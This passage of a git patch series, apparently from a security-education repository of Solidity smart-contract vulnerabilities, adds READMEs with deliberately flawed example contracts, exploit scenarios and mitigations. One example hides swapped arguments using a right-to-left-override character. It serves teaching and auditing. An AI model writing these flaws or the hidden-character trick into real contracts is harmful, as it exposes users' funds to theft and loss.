race_condition/RaceCondition.sol rename to not-so-smart-contracts/solidity/race_condition/RaceCondition.sol diff --git a/reentrancy/DAO_source_code/DAO.sol b/not-so-smart-contracts/solidity/reentrancy/DAO_source_code/DAO.sol similarity index 100% rename from reentrancy/DAO_source_code/DAO.sol rename to not-so-smart-contracts/solidity/reentrancy/DAO_source_code/DAO.sol diff --git a/reentrancy/README.md b/not-so-smart-contracts/solidity/reentrancy/README.md similarity index 100% rename from reentrancy/README.md rename to not-so-smart-contracts/solidity/reentrancy/README.md diff --git a/reentrancy/Reentrancy.sol b/not-so-smart-contracts/solidity/reentrancy/Reentrancy.sol similarity index 100% rename from reentrancy/Reentrancy.sol rename to not-so-smart-contracts/solidity/reentrancy/Reentrancy.sol diff --git a/reentrancy/ReentrancyExploit.sol b/not-so-smart-contracts/solidity/reentrancy/ReentrancyExploit.sol similarity index 100% rename from reentrancy/ReentrancyExploit.sol rename to not-so-smart-contracts/solidity/reentrancy/ReentrancyExploit.sol diff --git a/reentrancy/SpankChain_source_code/README.md b/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/README.md similarity index 100% rename from reentrancy/SpankChain_source_code/README.md rename to not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/README.md diff --git a/reentrancy/SpankChain_source_code/SpankChain.sol b/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain.sol similarity index 100% rename from reentrancy/SpankChain_source_code/SpankChain.sol rename to not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain.sol diff --git a/reentrancy/SpankChain_source_code/SpankChain_Payment.sol b/not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain_Payment.sol similarity index 100% rename from reentrancy/SpankChain_source_code/SpankChain_Payment.sol rename to not-so-smart-contracts/solidity/reentrancy/SpankChain_source_code/SpankChain_Payment.sol diff --git a/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol b/not-so-smart-contracts/solidity/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol similarity index 100% rename from unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol rename to not-so-smart-contracts/solidity/unchecked_external_call/KotET_source_code/KingOfTheEtherThrone.sol diff --git a/unchecked_external_call/README.md b/not-so-smart-contracts/solidity/unchecked_external_call/README.md similarity index 100% rename from unchecked_external_call/README.md rename to not-so-smart-contracts/solidity/unchecked_external_call/README.md diff --git a/unprotected_function/README.md b/not-so-smart-contracts/solidity/unprotected_function/README.md similarity index 100% rename from unprotected_function/README.md rename to not-so-smart-contracts/solidity/unprotected_function/README.md diff --git a/unprotected_function/Unprotected.sol b/not-so-smart-contracts/solidity/unprotected_function/Unprotected.sol similarity index 100% rename from unprotected_function/Unprotected.sol rename to not-so-smart-contracts/solidity/unprotected_function/Unprotected.sol diff --git a/unprotected_function/WalletLibrary_source_code/WalletLibrary.sol b/not-so-smart-contracts/solidity/unprotected_function/WalletLibrary_source_code/WalletLibrary.sol similarity index 100% rename from unprotected_function/WalletLibrary_source_code/WalletLibrary.sol rename to not-so-smart-contracts/solidity/unprotected_function/WalletLibrary_source_code/WalletLibrary.sol diff --git a/variable shadowing/README.md b/not-so-smart-contracts/solidity/variable shadowing/README.md similarity index 100% rename from variable shadowing/README.md rename to not-so-smart-contracts/solidity/variable shadowing/README.md diff --git a/variable shadowing/inherited_state.sol b/not-so-smart-contracts/solidity/variable shadowing/inherited_state.sol similarity index 100% rename from variable shadowing/inherited_state.sol rename to not-so-smart-contracts/solidity/variable shadowing/inherited_state.sol diff --git a/wrong_constructor_name/README.md b/not-so-smart-contracts/solidity/wrong_constructor_name/README.md similarity index 100% rename from wrong_constructor_name/README.md rename to not-so-smart-contracts/solidity/wrong_constructor_name/README.md diff --git a/wrong_constructor_name/Rubixi_source_code/Rubixi.sol b/not-so-smart-contracts/solidity/wrong_constructor_name/Rubixi_source_code/Rubixi.sol similarity index 100% rename from wrong_constructor_name/Rubixi_source_code/Rubixi.sol rename to not-so-smart-contracts/solidity/wrong_constructor_name/Rubixi_source_code/Rubixi.sol diff --git a/wrong_constructor_name/incorrect_constructor.sol b/not-so-smart-contracts/solidity/wrong_constructor_name/incorrect_constructor.sol similarity index 100% rename from wrong_constructor_name/incorrect_constructor.sol rename to not-so-smart-contracts/solidity/wrong_constructor_name/incorrect_constructor.sol From 3b41791e5a48c87dab69f6babf9cbffd564ca0f2 Mon Sep 17 00:00:00 2001 From: Josselin Date: Fri, 24 Apr 2020 17:50:00 +0200 Subject: [PATCH 61/73] Add 10 vulnerabilities --- not-so-smart-contracts/solidity/README.md | 10 +++++ .../dangerous_strict_equalities/README.md | 19 +++++++++ .../incorrect_erc20_interface/README.md | 21 ++++++++++ .../incorrect_erc721_interface/README.md | 20 ++++++++++ .../solidity/rtlo/README.md | 39 +++++++++++++++++++ .../state-variable-shadowing/README.md | 37 ++++++++++++++++++ .../solidity/suicidal/README.md | 21 ++++++++++ .../solidity/tautology/README.md | 32 +++++++++++++++ .../uninitialized-state-variables/README.md | 25 ++++++++++++ .../solidity/uninitialized-storage/README.md | 30 ++++++++++++++ .../solidity/unused_return/README.md | 23 +++++++++++ 11 files changed, 277 insertions(+) create mode 100644 not-so-smart-contracts/solidity/dangerous_strict_equalities/README.md create mode 100644 not-so-smart-contracts/solidity/incorrect_erc20_interface/README.md create mode 100644 not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md create mode 100644 not-so-smart-contracts/solidity/rtlo/README.md create mode 100644 not-so-smart-contracts/solidity/state-variable-shadowing/README.md create mode 100644 not-so-smart-contracts/solidity/suicidal/README.md create mode 100644 not-so-smart-contracts/solidity/tautology/README.md create mode 100644 not-so-smart-contracts/solidity/uninitialized-state-variables/README.md create mode 100644 not-so-smart-contracts/solidity/uninitialized-storage/README.md create mode 100644 not-so-smart-contracts/solidity/unused_return/README.md diff --git a/not-so-smart-contracts/solidity/README.md b/not-so-smart-contracts/solidity/README.md index 22aabdfe..28326a9e 100644 --- a/not-so-smart-contracts/solidity/README.md +++ b/not-so-smart-contracts/solidity/README.md @@ -19,17 +19,27 @@ Bonus! We have also included a repository and analysis of several [honeypots](ho | Not So Smart Contract | Description | | --- | --- | | [Bad randomness](bad_randomness) | Contract attempts to get on-chain randomness, which can be manipulated by users | +| [Dangerous Strict Equalities](dangerous_strict_equalities) | Use of strict equalities that can be easily manipulated by an attacker. | | [Denial of Service](denial_of_service) | Attacker stalls contract execution by failing in strategic way | | [Forced Ether Reception](forced_ether_reception) | Contracts can be forced to receive Ether | +| [Incorrect ERC20 Interface](incorrect_erc20_interface) | Token not implementing the ERC20 interface correctly. | +| [Incorrect ERC721 Interface](incorrect_erc721_interface) | Token not implementing the ERC721 interface correctly. | | [Incorrect Interface](incorrect_interface) | Implementation uses different function signatures than interface | | [Integer Overflow](integer_overflow) | Arithmetic in Solidity (or EVM) is not safe by default | | [Race Condition](race_condition) | Transactions can be frontrun on the blockchain | | [Reentrancy](reentrancy) | Calling external contracts gives them control over execution | +| [rtlo](rtlo) | Usage of malicious unicode character. | +| [Suicidal](suicidal) | Contract that can be destructed by anyone. | +| [Tautology](tautology) | Usage of always boolean expressions that are always true. | | [Unchecked External Call](unchecked_external_call) | Some Solidity operations silently fail | +| [Uninitialized State Variables](uninitialized-state-variables) | State variables that are used before being initialized. | +| [Uninitialized Storage Variables](uninitialized-storage-variables) | Storage variables that are used before being initialized. | | [Unprotected Function](unprotected_function) | Failure to use function modifier allows attacker to manipulate contract | +| [Unused Return Value ](unused-return) | Return values from calls that is not used. | | [Variable Shadowing](variable%20shadowing/) | Local variable name is identical to one in outer scope | | [Wrong Constructor Name](wrong_constructor_name) | Anyone can become owner of contract due to missing constructor | + ## Credits These examples are developed and maintained by [Trail of Bits](https://www.trailofbits.com/). Contributions are encouraged and are covered under our [bounty program](https://github.com/trailofbits/not-so-smart-contracts/wiki#bounties). diff --git a/not-so-smart-contracts/solidity/dangerous_strict_equalities/README.md b/not-so-smart-contracts/solidity/dangerous_strict_equalities/README.md new file mode 100644 index 00000000..1abf38a6 --- /dev/null +++ b/not-so-smart-contracts/solidity/dangerous_strict_equalities/README.md @@ -0,0 +1,19 @@ +## Dangerous strict equalities + +### Description +Use of strict equalities that can be easily manipulated by an attacker. + +### Exploit Scenario: + +```solidity +contract Crowdsale{ + function fund_reached() public returns(bool){ + return this.balance == 100 ether; + } +``` +`Crowdsale` relies on `fund_reached` to know when to stop the sale of tokens. `Crowdsale` reaches 100 ether. Bob sends 0.1 ether. As a result, `fund_reached` is always false and the crowdsale never ends. + +### Mitigations +- Don't use strict equality to determine if an account has enough ethers or tokens. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + diff --git a/not-so-smart-contracts/solidity/incorrect_erc20_interface/README.md b/not-so-smart-contracts/solidity/incorrect_erc20_interface/README.md new file mode 100644 index 00000000..50874cd7 --- /dev/null +++ b/not-so-smart-contracts/solidity/incorrect_erc20_interface/README.md @@ -0,0 +1,21 @@ +## Incorrect erc20 interface + +### Description +Incorrect return values for ERC20 functions. A contract compiled with solidity > 0.4.22 interacting with these functions will fail to execute them, as the return value is missing. + +### Exploit Scenario: + +```solidity +contract Token{ + function transfer(address to, uint value) external; + //... +} +``` +`Token.transfer` does not return a boolean. Bob deploys the token. Alice creates a contract that interacts with it but assumes a correct ERC20 interface implementation. Alice's contract is unable to interact with Bob's contract. + +### Recommendation +- Set the appropriate return values and value-types for the defined ERC20 functions. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue +- Use `slither-check-erc` to ensure ERC's conformance + + diff --git a/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md b/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md new file mode 100644 index 00000000..3d98f25d --- /dev/null +++ b/not-so-smart-contracts/solidity/incorrect_erc721_interface/README.md @@ -0,0 +1,20 @@ +## Incorrect erc721 interface + +### Description +Incorrect return values for ERC721 functions. A contract compiled with solidity > 0.4.22 interacting with these functions will fail to execute them, as the return value is missing. + +### Exploit Scenario: + +```solidity +contract Token{ + function ownerOf(uint256 _tokenId) external view returns (bool); + //... +} +``` +`Token.ownerOf` does not return an address as ERC721 expects. Bob deploys the token. Alice creates a contract that interacts with it but assumes a correct ERC721 interface implementation. Alice's contract is unable to interact with Bob's contract. + +### Mitigations +- Set the appropriate return values and value-types for the defined ERC721 functions. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + + diff --git a/not-so-smart-contracts/solidity/rtlo/README.md b/not-so-smart-contracts/solidity/rtlo/README.md new file mode 100644 index 00000000..ada8f36d --- /dev/null +++ b/not-so-smart-contracts/solidity/rtlo/README.md @@ -0,0 +1,39 @@ +## Right-To-Left-Override character + +### Description +An attacker can manipulate the logic of the contract by using a right-to-left-override character (U+202E) + +### Exploit Scenario: + +```solidity +contract Token +{ + + address payable o; // owner + mapping(address => uint) tokens; + + function withdraw() external returns(uint) + { + uint amount = tokens[msg.sender]; + address payable d = msg.sender; + tokens[msg.sender] = 0; + _withdraw(/*owner‮/*noitanitsed*/ d, o/*‭ + /*value */, amount); + } + + function _withdraw(address payable fee_receiver, address payable destination, uint value) internal + { + fee_receiver.transfer(1); + destination.transfer(value); + } +} +``` + +`Token` uses the right-to-left-override character when calling `_withdraw`. As a result, the fee is incorrectly sent to `msg.sender`, and the token balance is sent to the owner. + + + +### Mitigations +- Special control characters must not be allowed. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + diff --git a/not-so-smart-contracts/solidity/state-variable-shadowing/README.md b/not-so-smart-contracts/solidity/state-variable-shadowing/README.md new file mode 100644 index 00000000..a50dcf36 --- /dev/null +++ b/not-so-smart-contracts/solidity/state-variable-shadowing/README.md @@ -0,0 +1,37 @@ +## State variable shadowing + +### Description +State variables can be shadowed in Solidity. + +### Exploit Scenario: + +```solidity +contract BaseContract{ + address owner; + + modifier isOwner(){ + require(owner == msg.sender); + _; + } + +} + +contract DerivedContract is BaseContract{ + address owner; + + constructor(){ + owner = msg.sender; + } + + function withdraw() isOwner() external{ + msg.sender.transfer(this.balance); + } +} +``` +`owner` of `BaseContract` is never assigned and the modifier `isOwner` does not work. + +### Mitigations +- Avoid state variable shadowing. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + + diff --git a/not-so-smart-contracts/solidity/suicidal/README.md b/not-so-smart-contracts/solidity/suicidal/README.md new file mode 100644 index 00000000..33f65a20 --- /dev/null +++ b/not-so-smart-contracts/solidity/suicidal/README.md @@ -0,0 +1,21 @@ +## Suicidal contract + +### Description +Unprotected call to a function executing `selfdestruct`/`suicide`. + +### Exploit Scenario: + +```solidity +contract Suicidal{ + function kill() public{ + selfdestruct(msg.sender); + } +} +``` +Bob calls `kill` and destructs the contract. + +### Mitigations +- Protect access to all sensitive functions. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + + diff --git a/not-so-smart-contracts/solidity/tautology/README.md b/not-so-smart-contracts/solidity/tautology/README.md new file mode 100644 index 00000000..c3556968 --- /dev/null +++ b/not-so-smart-contracts/solidity/tautology/README.md @@ -0,0 +1,32 @@ +## Tautology or contradiction + +### Description +Expressions that are tautologies or contradictions. + +### Exploit Scenario: + +```solidity +contract A { + function f(uint x) public { + // ... + if (x >= 0) { // bad -- always true + // ... + } + // ... + } + + function g(uint8 y) public returns (bool) { + // ... + return (y < 512); // bad! + // ... + } +} +``` +`x` is an `uint256`, as a result `x >= 0` will be always true. +`y` is an `uint8`, as a result `y <512` will be always true. + + +### Mitigations +- Avoid tautology +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + diff --git a/not-so-smart-contracts/solidity/uninitialized-state-variables/README.md b/not-so-smart-contracts/solidity/uninitialized-state-variables/README.md new file mode 100644 index 00000000..84abf622 --- /dev/null +++ b/not-so-smart-contracts/solidity/uninitialized-state-variables/README.md @@ -0,0 +1,25 @@ +## Uninitialized state variables + +### Description +Usage of uninitialized state variables. + +### Exploit Scenario: + +```solidity +contract Uninitialized{ + address destination; + + function transfer() payable public{ + destination.transfer(msg.value); + } +} +``` +Bob calls `transfer`. As a result, the ethers are sent to the address 0x0 and are lost. + + +### Mitigations +- Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + + + diff --git a/not-so-smart-contracts/solidity/uninitialized-storage/README.md b/not-so-smart-contracts/solidity/uninitialized-storage/README.md new file mode 100644 index 00000000..b2ef953c --- /dev/null +++ b/not-so-smart-contracts/solidity/uninitialized-storage/README.md @@ -0,0 +1,30 @@ + +## Uninitialized storage variables + +### Description +An uinitialized storage variable will act as a reference to the first state variable, and can override a critical variable. + +### Exploit Scenario: + +```solidity +contract Uninitialized{ + address owner = msg.sender; + + struct St{ + uint a; + } + + function func() { + St st; + st.a = 0x0; + } +} +``` +Bob calls `func`. As a result, `owner` is override to 0. + + +### Mitigations +- Initialize all the storage variables. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + + diff --git a/not-so-smart-contracts/solidity/unused_return/README.md b/not-so-smart-contracts/solidity/unused_return/README.md new file mode 100644 index 00000000..f14cb1c6 --- /dev/null +++ b/not-so-smart-contracts/solidity/unused_return/README.md @@ -0,0 +1,23 @@ +## Unused return + + +### Description +The return value of an external call is not checked. + +### Exploit Scenario: + +```solidity +contract MyConc{ + using SafeMath for uint; + function my_func(uint a, uint b) public{ + a.add(b); + } +} +``` +`MyConc` calls `add` of SafeMath, but does not store the result in `a`. As a result, the computation has no effect. + +### Mitigations +- Ensure that all the return values of the function calls are used. +- Use [Slither](https://github.com/crytic/slither/) or [crytic.io](https://crytic.io/) to detect the issue + + From dac979c102da821743c11c25e6298c1c45efea46 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 11:44:08 -0400 Subject: [PATCH 62/73] rm nssc/solidity/license --- not-so-smart-contracts/solidity/LICENSE | 201 ------------------------ 1 file changed, 201 deletions(-) delete mode 100644 not-so-smart-contracts/solidity/LICENSE diff --git a/not-so-smart-contracts/solidity/LICENSE b/not-so-smart-contracts/solidity/LICENSE deleted file mode 100644 index 8dada3ed..00000000 --- a/not-so-smart-contracts/solidity/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "{}" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright {yyyy} {name of copyright owner} - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. From 0d9ada86388784e1a19c89f0021e96588bd78068 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 11:50:22 -0400 Subject: [PATCH 63/73] describe solc version impact on integer over-/under-flows --- .../solidity/integer_overflow/README.md | 9 +++++---- .../integer_overflow/integer_overflow_1.sol | 13 ++++++------- 2 files changed, 11 insertions(+), 11 deletions(-) diff --git a/not-so-smart-contracts/solidity/integer_overflow/README.md b/not-so-smart-contracts/solidity/integer_overflow/README.md index 631acdee..f484dbb7 100644 --- a/not-so-smart-contracts/solidity/integer_overflow/README.md +++ b/not-so-smart-contracts/solidity/integer_overflow/README.md @@ -1,6 +1,6 @@ # Integer Overflow -It is possible to cause `add` and `sub` to overflow (or underflow) on any type of integer in Solidity. +It is possible to cause `+` and `-` to overflow (or underflow) on any type of integer in Solidity versions <0.8.0 or within `unchecked` blocks of solidity >=0.8.0 ## Attack Scenarios @@ -12,13 +12,14 @@ the array and alter other variables in the contract. ## Mitigations -- Use openZeppelin's [safeMath library](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) -- Validate all arithmetic +- Use solidity >=0.8.0 and use `unchecked` blocks carefully and only where required. +- If using solidity <0.8.0, use OpenZeppelin's [SafeMath library](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) for arithmetic. +- Validate all arithmetic with both manual review and property-based fuzz testing. ## Examples - In [integer_overflow_1](interger_overflow_1.sol), we give both unsafe and safe version of the `add` operation. -- [A submission](https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte) to the Underhanded Solidity Coding Contest that explots the unsafe dynamic array bug outlined above +- [A submission](https://github.com/Arachnid/uscc/tree/master/submissions-2017/doughoyte) to the Underhanded Solidity Coding Contest that exploits the unsafe dynamic array bug outlined above diff --git a/not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol b/not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol index 69f480be..3a351993 100644 --- a/not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol +++ b/not-so-smart-contracts/solidity/integer_overflow/integer_overflow_1.sol @@ -2,16 +2,15 @@ pragma solidity ^0.4.15; contract Overflow { uint private sellerBalance=0; - + function add(uint value) returns (bool){ sellerBalance += value; // possible overflow - - // possible auditor assert - // assert(sellerBalance >= value); - } + // the following assertion will revert if the above overflows + // assert(sellerBalance >= value); + } function safe_add(uint value) returns (bool){ require(value + sellerBalance >= sellerBalance); - sellerBalance += value; - } + sellerBalance += value; + } } From cd1dab9423fb19652621db096b3e188016acabf8 Mon Sep 17 00:00:00 2001 From: bohendo Date: Tue, 4 Oct 2022 12:34:20 -0400 Subject: [PATCH 64/73] fix spelling mistakes --- .../solidity/bad_randomness/README.md | 10 +++++----- .../solidity/denial_of_service/README.md | 6 ++---- .../solidity/forced_ether_reception/README.md | 2 +- not-so-smart-contracts/solidity/honeypots/README.md | 2 +- .../solidity/incorrect_erc20_interface/README.md | 6 ++---- .../solidity/incorrect_erc721_interface/README.md | 2 +- .../solidity/incorrect_interface/README.md | 7 +++---- not-so-smart-contracts/solidity/reentrancy/README.md | 2 +- .../solidity/uninitialized-storage/README.md | 3 +-- 9 files changed, 17 insertions(+), 23 deletions(-) diff --git a/not-so-smart-contracts/solidity/bad_randomness/README.md b/not-so-smart-contracts/solidity/bad_randomness/README.md index 810563b2..add6c50d 100644 --- a/not-so-smart-contracts/solidity/bad_randomness/README.md +++ b/not-so-smart-contracts/solidity/bad_randomness/README.md @@ -10,7 +10,7 @@ Pseudorandom number generation on the blockchain is generally unsafe. There are A common workaround for the lack of on-chain randomness is using a commit and reveal scheme. Here, each user submits the hash of their secret number. When the time comes for the random number to be generated, each user sends their secret number to the contract -which then verifies it matches the hash submitted earlier and xors them together. Therefore no participant can observe how their contribution +which then verifies it matches the hash submitted earlier and XORs them together. Therefore no participant can observe how their contribution will affect the end result until after everyone has already committed to a value. However, this is also vulnerable to DoS attacks, since the last person to reveal can choose to never submit their secret. Even if the contract is allowed to move forward without everyone's secrets, this gives them influence over the end result. In general, we do not recommend commit and reveal schemes. @@ -20,7 +20,7 @@ everyone's secrets, this gives them influence over the end result. In general, w - A lottery where people bet on whether the hash of the current block is even or odd. A miner that bets on even can throw out blocks whose hash are even. - A commit-reveal scheme where users don't necessarily have to reveal their secret (to prevent DoS). A user has money riding on the outcome -of the PRG and submits a large number of commits, allowing them to choose the one they want to reveal at the end. +of the PRNG and submits a large number of commits, allowing them to choose the one they want to reveal at the end. ## Mitigations @@ -30,7 +30,7 @@ In the future, however, these approaches show promise - [Verifiable delay functions](https://eprint.iacr.org/2018/601.pdf): functions which produce a pseudorandom number and take a fixed amount of sequential time to evaluate -- [Randao](https://github.com/randao/randao): A commit reveal scheme where users must stake wei to participate +- [RANDAO](https://github.com/randao/randao): A commit reveal scheme where users must stake wei to participate ## Examples @@ -38,5 +38,5 @@ and take a fixed amount of sequential time to evaluate ## Sources -- https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract -- https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620 +- [StackExchange](https://ethereum.stackexchange.com/questions/191/how-can-i-securely-generate-a-random-number-in-my-smart-contract) +- [Blog Post](https://blog.positive.com/predicting-random-numbers-in-ethereum-smart-contracts-e5358c6b8620) diff --git a/not-so-smart-contracts/solidity/denial_of_service/README.md b/not-so-smart-contracts/solidity/denial_of_service/README.md index 9734c120..9d5dbe41 100644 --- a/not-so-smart-contracts/solidity/denial_of_service/README.md +++ b/not-so-smart-contracts/solidity/denial_of_service/README.md @@ -1,8 +1,6 @@ # Denial of Service -A malicious contract can permanently stall another contract by failing -in a strategic way. In particular, contracts that bulk perform transactions or updates using -a `for` loop can be DoS'd if a call to another contract or `transfer` fails during the loop. +A malicious contract can permanently stall another contract by failing in a strategic way. In particular, contracts that bulk perform transactions or updates using a `for` loop can be DoS'd if a call to another contract or `transfer` fails during the loop. ## Attack Scenarios @@ -19,7 +17,7 @@ might run out of gas and revert. - Both [insecure](auction.sol#L4) and [secure](auction.sol#L26) versions of the auction contract mentioned above -- Bulk refund functionality that is [suceptible to DoS](list_dos.sol#L3), and a [secure](list_dos.sol#L29) version +- Bulk refund functionality that is [susceptible to DoS](list_dos.sol#L3), and a [secure](list_dos.sol#L29) version ## Mitigations diff --git a/not-so-smart-contracts/solidity/forced_ether_reception/README.md b/not-so-smart-contracts/solidity/forced_ether_reception/README.md index 662df85f..a67aa91a 100644 --- 